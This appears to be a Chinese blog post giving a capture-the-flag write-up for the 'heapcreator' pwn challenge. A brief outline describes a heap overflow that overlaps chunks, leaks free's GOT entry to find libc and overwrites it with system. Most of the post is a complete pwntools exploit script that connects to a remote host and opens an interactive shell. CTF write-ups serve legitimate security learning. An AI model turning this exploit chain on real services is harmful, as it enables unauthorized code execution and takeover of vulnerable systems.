pwn-heapcreator(堆溢出+got表劫持)

思路:
添加0,1,2trunk->编辑0写入/bin/sh\x00和覆盖1的size为1+2(0x81)->free1->把0x70大小的trunk申请回来->编辑1修改trunk2的索引的堆地址为free_got->show(2)泄露free_got地址->计算libc基地址->编辑2将system地址写入,就是把system地址写入free_got的fd中->调用free(0)->system("/binsh")->shell


from pwn import *
from LibcSearcher import *


def conn():
    global r, Libc, elf
    #r = process("./heapcreator")
    Libc = ELF("./libc-2.23.so")
    r = remote("1.95.36.136", 2113)
    elf = ELF("./heapcreator")


def add(x, y):
    r.sendlineafter(b"choice :", b"1")
    r.sendlineafter(b"Size of Heap : ", str(x).encode())
    r.sendlineafter(b"Content of heap:", y)


def edit(x, y):
    r.sendlineafter(b"choice :", b"2")
    r.sendlineafter(b"Index :", str(x).encode())
    r.sendlineafter(b"Content of heap : ", y)


def free(x):
    r.sendlineafter(b"choice :", b"4")
    r.sendlineafter(b"Index :", str(x).encode())


def show(x):
    r.sendlineafter(b"choice :", b"3")
    r.sendlineafter(b"Index :", str(x).encode())


def pwn():
    heap = 0x6020A0
    add(0x18,b'aaa')
    add(0x10,b'aaa')
    add(0x10,b'aaa')
    payload = b"/bin/sh\x00"+b'a'*0x10+b'\x81'
    edit(0,payload)
    free(1)
    free_ = elf.got["free"]
    print("free_got>>>",hex(free_))
    add(0x70,p64(0)*8+p64(0x8)+p64(free_))
    show(2)
    free_addr = u64(r.recvuntil(b"\x7f")[-6:].ljust(8,b'\x00'))
    print("free>>>",hex(free_addr))
    libc = free_addr - Libc.sym["free"]
    sys = libc + Libc.sym["system"]
    edit(2,p64(sys))
    free(0)
    #gdb.attach(r)
    r.interactive()


conn()
pwn()

posted @ 2025-05-05 14:16  lethe311  阅读(7)  评论(0)    收藏  举报